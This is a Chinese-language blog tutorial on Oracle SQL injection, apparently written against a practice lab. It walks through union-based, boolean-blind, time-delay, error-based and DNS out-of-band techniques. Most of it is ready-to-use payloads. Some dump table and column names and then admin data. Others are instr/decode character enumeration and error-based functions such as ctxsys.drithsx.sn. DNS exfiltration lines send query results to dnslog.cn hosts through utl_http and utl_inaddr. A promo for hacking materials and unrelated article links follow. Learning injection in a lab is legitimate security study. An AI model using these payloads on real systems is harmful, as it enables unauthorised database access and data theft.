Oracle注入(基础篇)

news2024/11/27 4:14:58

先了解Oracle一些内容


Oracle做联合注入的注意事项(附带示例)


联合查询的字段数必须和前面的查询语句字段数一致
select id,username,password from admin union select 1,'admin' from dual (X)



联合查询的字段类型也必须和前面的查询语句字段类型一致

select id,username,password from admin union select 1,2,3 from dual (X)



联合查询的语句中必须要有表名

select id,username,password from admin union select 1,'admin','admin' (X)

正确的联合查询方法

select id,username,password from admin union select 1,'admin','admin' from dual (√)

注意:oracle中包裹字符串用’'不要用""

Oracle自带的表


select * from all_tables 查询出所有的表

关键字段:
OWNER,用户(表的拥有者),不同的用户下会有不同的表
TABLE_NAME,表名


select * from all_tab_columns 查询出所有的字段

关键字段:
OWNER,用户(表的拥有者),不同的用户下会有不同的表
TABLE_NAME,表名
COLUMN_NAME,字段名

下面两个都是查询当前用户的表和字段的,所以没有OWNER字段,另外两个字段是有的

select * from user_tables 查询出当前用户的表

select * from user_tab_columns 查询出当前用户的字段

其实用的话都用查字段的表就好了,因为查字段的表里面存储了表名和字段

Oracle怎么实现mysql中Limit的功能


在Oracle中有一个比较特殊的存在,它就是rownum,它是一个伪列,它并不存储在任何表中,而是在当我们执行了查询语句之后,它就会出现,对查出来的数据进行编号,将它做为一个判断规则时,它是不支持用>号的,只能是=1或者<n

示例如下

SELECT * FROM user WHERE rownum = 1; -- 没问题
SELECT * FROM user WHERE rownum = 2; -- 有问题
SELECT * FROM user WHERE rownum < 2; -- 没问题
SELECT * FROM user WHERE rownum > 2; -- 有问题

那如果我们就是想对他用>呢,那么也有办法,用子查询给rownum取个别名,然后外面的查询语句,再使用别名调用rownum的值就好了

例如这里有5条数据我要取后三条数据

SELECT * FROM (SELECT rownum rn,DEPT.* FROM DEPT WHERE rownum < 6)r WHERE rn > 


如何判断是否是oracle数据库
通过版本号判断,and (select count(*) from v$version) > 0

通过特有的表判断,and (select count(*) from user_tables) > 0,用dual来进行测试也行

通过特有的函数判断,and bitand(1,1)=1


信息收集


查询当前用户

select user from dual


查询数据库文件存储位置

select name from V$DATAFILE

查询数据库版本

-- 占个行
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
-- 这个视图需要权限才能查询,所以也可以用它来判断当前用户权限
select version from v$instance


查询当前用户权限

-- 这个可以查询当前用户可以进行哪些操作,例如CREATE SESSION,CREATE PROCEDURE等
select privilege from session_privs



查询主机IP

-- 查询的是内网IP
select utl_inaddr.get_host_address from dual


查询当前库名,两个都可以用,都可以试一试

SELECT global_name FROM global_name;
SELECT SYS.DATABASE_NAME FROM DUAL;


查询JAVA权限,这个权限是指用户可以调用哪些JAVA类

-- 查询所有用户JAVA权限,需要有DBA权限
select * from DBA_JAVA_POLICY;
-- 查看当前用户的JAVA权限
select * from user_java_policy
查看对象( JAVA类(JAVA SOURCE),存储过程(PROCEDURE),函数(FUNCTION))

-- 查看当前用户创建的对象,常看的就是
select * from user_objects
-- 查看所有用户创建的对象
select * from all_objects
-- 查看已经加载的对象
SELECT * FROM ALL_OBJECTS WHERE OBJECT_TYPE IN ('FUNCTION','PROCEDURE','PACKAGE') order by object_id desc;


查看当前角色权限

select granted_role from user_role_privs


查看指定包源码

select TEXT FROM all_source WHERE NAME='包名'


联合注入


测字段数 -> 找显错位-> 拿表名 -> 拿字段名 -> 拿数据

再Mysql中可能要查其他数据库的数据,那么再开头还会有一个拿库名的过程,在Oracle中是拿用户名

靶场实战


先测试字段数,有两种办法

由于oracle做联合注入需要和前面的联合查询语句字段类型一致,所以我们先用null进行占位,它可以匹配任何类型

oracle的查询语句必须有表名,所以这里写了from dual

当字段里面写到4个null时,不报错, 说明是4个字段

使用order by 关键字进行测试,例如这里,order by 4的时候还是正常的

order by 5的时候报错了,说明字段数是4

使用联合查询逐一添加字段位数去进行判断,这里有两个注意点

找显错位


上面我们已经知道了是4个字段,然后就可以先写上4个null进行占位union select null,null,null,null from dual,然后逐个替换数据的类型进行测试,常见的数据类型其实就那么几个(数值,字符串,时间)

这里第一位写的字符’a’,它爆了一个expression must have same datatype as corresponding expression的错误,这表示字段的类型不对,那么就不是字符型了

然后换成1,它没报错,说明第一个字段类型是数值型


下面测试第二个字段,还是和上面一样,先写字符’a’,这时候注意它的报错,已经和刚才的报错是不一样了,这里的报错是字符集不匹配,那么解决方法就是把我们输入的内容转换为匹配的字符集

这里就得提到to_char(),to_nchar()两个函数了,我们可以尝试用这两个函数去对’a’进行转换,哪个没报错,那么就用哪个,这里用的是

to_nchar()
union select,to_nchar('a'),null,null from dual


并且也已经回显了字符a,那么就没必要再测下面的字段类型了,我们用它就好了,如果有字段是时间类型的话可以用to_date()函数,不过我认为如果是时间类型的话,哪怕回显了也利用不了

获取表名


利用oracle的user_tab_columns这个自带表进行查询就好了,这里主要的问题在于如何获取其他表名

排除法,将当前的查询到的表名给排除掉就可以获取下一个表名,注意区分大小写
union selec 1,to_nchar(table_name),null,null from user_tab_columns where table_name<>‘ADMIN’

有两个办法
排除法,将当前的查询到的表名给排除掉就可以获取下一个表名,注意区分大小写

union selec 1,to_nchar(table_name),null,null from user_tab_columns where table_name<>'ADMIN'


如果还要查下一个表名那么就在加判断,and table_name <> ‘MD5’,以此类推

2.别名法,再刚开始已经提过了,使用子查询对rownum进行取别名的方式来取数据


上面这种写法,如果排除的表名多了,语句就会很长,还有一种更好的办法,使用not in关键字,只需要把要排除的表名直接写进去就好了

union selec 1,to_nchar(table_name),null,null from user_tab_columns where table_name not in('ADMIN','MD5')

2.别名法,再刚开始已经提过了,使用子查询对rownum进行取别名的方式来取数据

union selec 1,to_nchar(table_name),null,null from user_tab_columns

查字段名


利用user_tab_columns中的column_name字段就好了,获取其他字段名的方法还是用上面的办法,别忘了限制查哪个表的字段,不然你拿的是谁的字段都不知道

union select null,to_nchar(column_name),null,null from user_tab_columns where table_name='ADMIN'


查数据

union selec 1,to_nchar(UNAME),null,null from ADMIN

这里就查刚才获取的UNAME字段的数据吧


布尔注入


字符操作函数


length(string),返回字符串的长度

instr(源字符,目标字符[,起始位置[,匹配序号]]),这个函数的作用是返回源字符中第一次匹配到目标字符的位置,如果没有的话就返回0,起始位置是设置开始匹配的位置

示例如下

-- 我们先查出第一个字符是什么,所以写1=,然后S这个位置就是可以用来枚举字符的位置了,这里面有两个S,但是它只会返回第一个匹配到S的位置
select * from dual where 1=instr('SYSTEM','S')
-- 我们查第二个字符,就改成2=,并且写上第三个参数为2,让他从第2个字符开始查
select * from dual where 2=instr('SYSTEM','Y',2)
-- 第三个,以此类推
select * from dual where 3=instr('SYSTEM','Y',3)
...........
  • substr(string,start,end),指定位置截取字符串,这个函数在mysql做帮助的时候用的多,就不细讲了
  • chr(ascii),把ascii码转为对应的字符
  • ascii(char),把字符转为ascii码
  • decode(a1,a2,x1,x2),判断a1和a2是否相等,那么就执行x1,否则执行x2,可以用来做布尔或者延时的盲注

靶场实战


这里就以表名为例,注意我在where后面写了rownum=1,因为查出多条数据会报错的

利用instr()函数做题
先利用length(),测出表名的长度

and length((select table_name from user_tables where rownum=1))=1


表名长度为5


然后利用instr()获取表名
and 1=instr((select table_name from user_tables where rownum=1),‘a’,1),图片中我没有写1,因为默认就是1开始


跑出来第一个字符是A


跑后面的字符就按instr中说的示例改就好了

decode()+substr()做题
这个相比使用instr()要写的参数更多,写的时候细心一点

-- 匹配成功返回1,1=1就会为真,匹配失败返回0,就会为假
1=decode(substr((select table_name from user_tables where rownum=1),1,1),'a',1,0)
-- 要查询第二个字符的话,将substr的第二个参数改为2就好了,后面的以此类推
1=decode(substr((select table_name from user_tables where rownum=1),2,1),'a',1,0)
-- 爆破的位置为decode的第二个参数,详情见图片中设置的枚举位置
-- 如果想枚举ascii码,可以在substr的外面用ascii()函数进行转换就好了
1=decode(ascii(substr((select table_name from user_tables where rownum=1),2,1)),98,1,0)
and 1=decode(substr((select table_name from user_tables where rownum=1),1,1),'a',1,0)


这里跑出来第一个字符是A

延时注入
延时函数


dbms_pipe.receive_message(‘任意字符’,延迟时间)


(select count() from all_objects),利用查询大量数据来达到一个延时的效果
执行了(select count() from all_objects)的语句查询结果用时0.555秒


而没有执行的查询用时才0.053秒


报错注入


报错函数

1=utl_inaddr.get_host_name((查询语句))


靶场不支持使用这个函数,所以在数据库里面测试了,可以使用,||符号在oracle中的作用是拼接字符串,我这里往user的左右两边拼接了一个-更方便区分

1=ctxsys.drithsx.sn(1,(查询语句))


(select upper(XMLType(chr(60)||chr(58)||(查询语句)||chr(62))) from dual) is not null


那几个chr()函数被我用转换后的字符给替换了

(select dbms_xdb_version.checkin((查询语句)) from dual) is not null


and (select dbms_xdb_version.makeversioned((查询语句)) from dual) is not null


and (select dbms_xdb_version.uncheckout((查询语句)) from dual) is not null


and (SELECT dbms_utility.sqlid_to_sqlhash((查询语句)) from dual) is not null


堆叠注入


ORACLE不支持堆叠注入

DNS注入


select * from dual where (select utl_http.request(查询的字段||’.lcq2u0.dnslog.cn’) from dual) is not null


and (select utl_inaddr.get_host_address(查询的字段||’.tmpgak.dnslog.cn’) from dual)is not null

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1169207.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

指针函数等

1.指针函数 本质上是一个函数&#xff0c;返回值是这个类型的指针 因为a的地址存放在fun函数中&#xff0c;程序结束后&#xff0c;地址释放&#xff0c;所以调用时为野指针。 a为局部变量&#xff0c;注意生命周期 解决办法1.使用static延长变量a的生命周期&#xff0c; 2.…

cmake find_package、引用GDAL 初步学习

上次的源码的CMakeLists.txt文件里有 find_package(GDAL REQUIRED) 这句; 从字面意思看此源码需要GDAL库; 查了一下,find_package 指令的基本功能是查找第三方库,并返回其细节; 我当前GDAL安装在D:\GDAL; 先把它的CMakeLists.txt重命名为别的,不使用; 新建一个C…

剑指offer --- 从尾到头打印链表

目录 前言 一、读懂题目 二、思路分析 三、代码呈现 总结 前言 当我们需要访问单向链表中特定位置值时&#xff0c;算法复杂度往往是O(n)&#xff0c;在得到靠后节点的值时不可避免地从前向后遍历访问链表&#xff0c;那么当应题目要求从尾到头打印链表时&#xff0c;至少…

数据结构第二课 -----线性表之顺序表

作者前言 &#x1f382; ✨✨✨✨✨✨&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f382; ​&#x1f382; 作者介绍&#xff1a; &#x1f382;&#x1f382; &#x1f382; &#x1f389;&#x1f389;&#x1f389…

2022年06月 Python(三级)真题解析#中国电子学会#全国青少年软件编程等级考试

Python等级考试(1~6级)全部真题・点这里 一、单选题(共25题,每题2分,共50分) 第1题 如下所示的2行代码,最后print()函数打印出来的结果是?( ) c = [[赵大,21,男,北京],

【论文阅读】Equivariant Contrastive Learning for Sequential Recommendation

【论文阅读】Equivariant Contrastive Learning for Sequential Recommendation 文章目录 【论文阅读】Equivariant Contrastive Learning for Sequential Recommendation1. 来源2. 介绍3. 前置工作3.1 序列推荐的目标3.2 数据增强策略3.3 序列推荐的不变对比学习 4. 方法介绍4…

力扣每日一题94:二叉树的中序遍历

题目描述&#xff1a; 给定一个二叉树的根节点 root &#xff0c;返回 它的 中序 遍历 。 示例 1&#xff1a; 输入&#xff1a;root [1,null,2,3] 输出&#xff1a;[1,3,2]示例 2&#xff1a; 输入&#xff1a;root [] 输出&#xff1a;[]示例 3&#xff1a; 输入&#x…

速学数据结构 | 循环队列怎么写才最高效?只需要掌握这些技巧

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏:《Linux深造日志》《C干货基地》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 文章目录 &#x1f4cb; 前言一、什么是循环队列&#xff1f;二、如何实现循环队列&#xff1f;2.1 循环队列的结构2.2 循环…

leetcode:268. 丢失的数字(异或运算)

一、题目 函数原型&#xff1a; int missingNumber(int* nums, int numsSize) 二、思路&#xff1a; 0 - n缺失一个数字&#xff0c;那么将数组中所有的数字按位异或&#xff0c;再按位异或0 - n的所有数字&#xff0c;由于 x ^ x 0&#xff0c;0 ^ x x&#xff0c;因此最终运…

Win10/Win11总是自动更新,如何关闭自动更新?

参考:https://www.zhihu.com/search?q%E5%85%B3%E9%97%ADwindows%E8%87%AA%E5%8A%A8%E6%9B%B4%E6%96%B0&search_sourceSuggestion&utm_contentsearch_suggestion&typecontent 手动关闭 1 Windows服务 1.1 WinR输入services.msc打开服务 1.2 找到Windows Update…

黑马程序员项目-黑马点评

黑马点评1 短信登录 基于Session实现登录流程 发送验证码&#xff1a; 用户在提交手机号后&#xff0c;会校验手机号是否合法&#xff0c;如果不合法&#xff0c;则要求用户重新输入手机号 如果手机号合法&#xff0c;后台此时生成对应的验证码&#xff0c;同时将验证码进行…

从MFC初始化过程看rc文件的行为,并剖析关联控件变量的实质

以MFC对话框程序为例: 当我们打开资源编辑器时就可以很容易的添加各种控件窗口,资源编辑器实际上操作的是rc文件;那么这些控件窗口是何时被MFC创建与管理的 没有关联控件变量前,在资源编辑器中依然可以容易拖动控件,并显示出来;这个控件窗口是如何被创建和管理的: 资源编…

【C语法学习】13 - fscanf()函数

文章目录 1 函数原型2 参数3 返回值4 比较5 示例5.1 示例15.2 示例2 1 函数原型 fscanf()&#xff1a;从指定流stream读取格式化输入&#xff0c;函数原型如下&#xff1a; int fscanf(FILE *stream, const char *format, ...)2 参数 fscanf()函数参数包括三部分&#xff1a…

Node.js 中解析 HTML 的方法介绍

在 Web 开发中&#xff0c;解析 HTML 是一个常见的任务&#xff0c;特别是当我们需要从网页中提取数据或操作 DOM 时。掌握 Node.js 中解析 HTML 的各种方式&#xff0c;可以大大提高我们提取和处理网页数据的效率。本文将介绍如何在 Node.js 中解析 HTML。 基本概念 HTML 解析…

【广州华锐互动】VR野外求生技能学习,让你感受真实的冒险之旅!

随着科技的迅速发展&#xff0c;虚拟现实(VR)技术为人们提供了一个全新的、身临其境的探险体验。通过将用户带入一个仿真的、沉浸式的虚拟环境&#xff0c;VR互动体验让人们在安全的氛围中感受到野外探险的乐趣。本文将从视觉呈现、沉浸式体验、交互性和应用范围四个方面&#…

MATLAB颜色索引表---持续更新中--各个平台都可使用

MATLAB颜色索引表—持续更新中–各个平台都可使用

探索ChatGPT在学术写作中的应用与心得

随着人工智能的迅猛发展&#xff0c;ChatGPT作为一种强大的自然语言处理模型&#xff0c;逐渐在学术界引起了广泛的关注。本文将探讨ChatGPT在学术写作中的应用&#xff0c;并分享使用ChatGPT进行学术写作时的一些经验和心得。 01 — ChatGPT在学术写作中的应用 1.文献综述和…

【ChatOCR】OCR+LLM定制化关键信息抽取(附开源大语言模型汇总整理)

目录 背景技术方案存在的问题及解决思路关键信息提取结果其他解决方案替换文心一言LangChain大型多模态模型&#xff08;Large Multimodal Model, LMM&#xff09; 开源大模型汇总LLaMA —— Meta 大语言模型Stanford Alpaca —— 指令调优的 LLaMA 模型Lit-LLaMA —— 基于 na…

基于单片机的语音存储与回放系统设计

博主主页&#xff1a;单片机辅导设计 博主简介&#xff1a;专注单片机技术领域和毕业设计项目。 主要内容&#xff1a;毕业设计、简历模板、学习资料、技术咨询。 文章目录 主要介绍一、控制系统设计1.1 系统方案设计1.2 系统工作原理 二、硬件电路设计总电路设计图 三、 软件设…

shufflenet v2 yolo

设计理念 1x1卷积进行平衡输入和输出的通道大小&#xff1b;组卷积要谨慎使用&#xff0c;注意分组数&#xff1b;避免网络的碎片化&#xff1b;减少元素级运算。 ShuffleNet v2中弃用了1x1的group convolution操作&#xff0c;而直接使用了input/output channels数目相同的…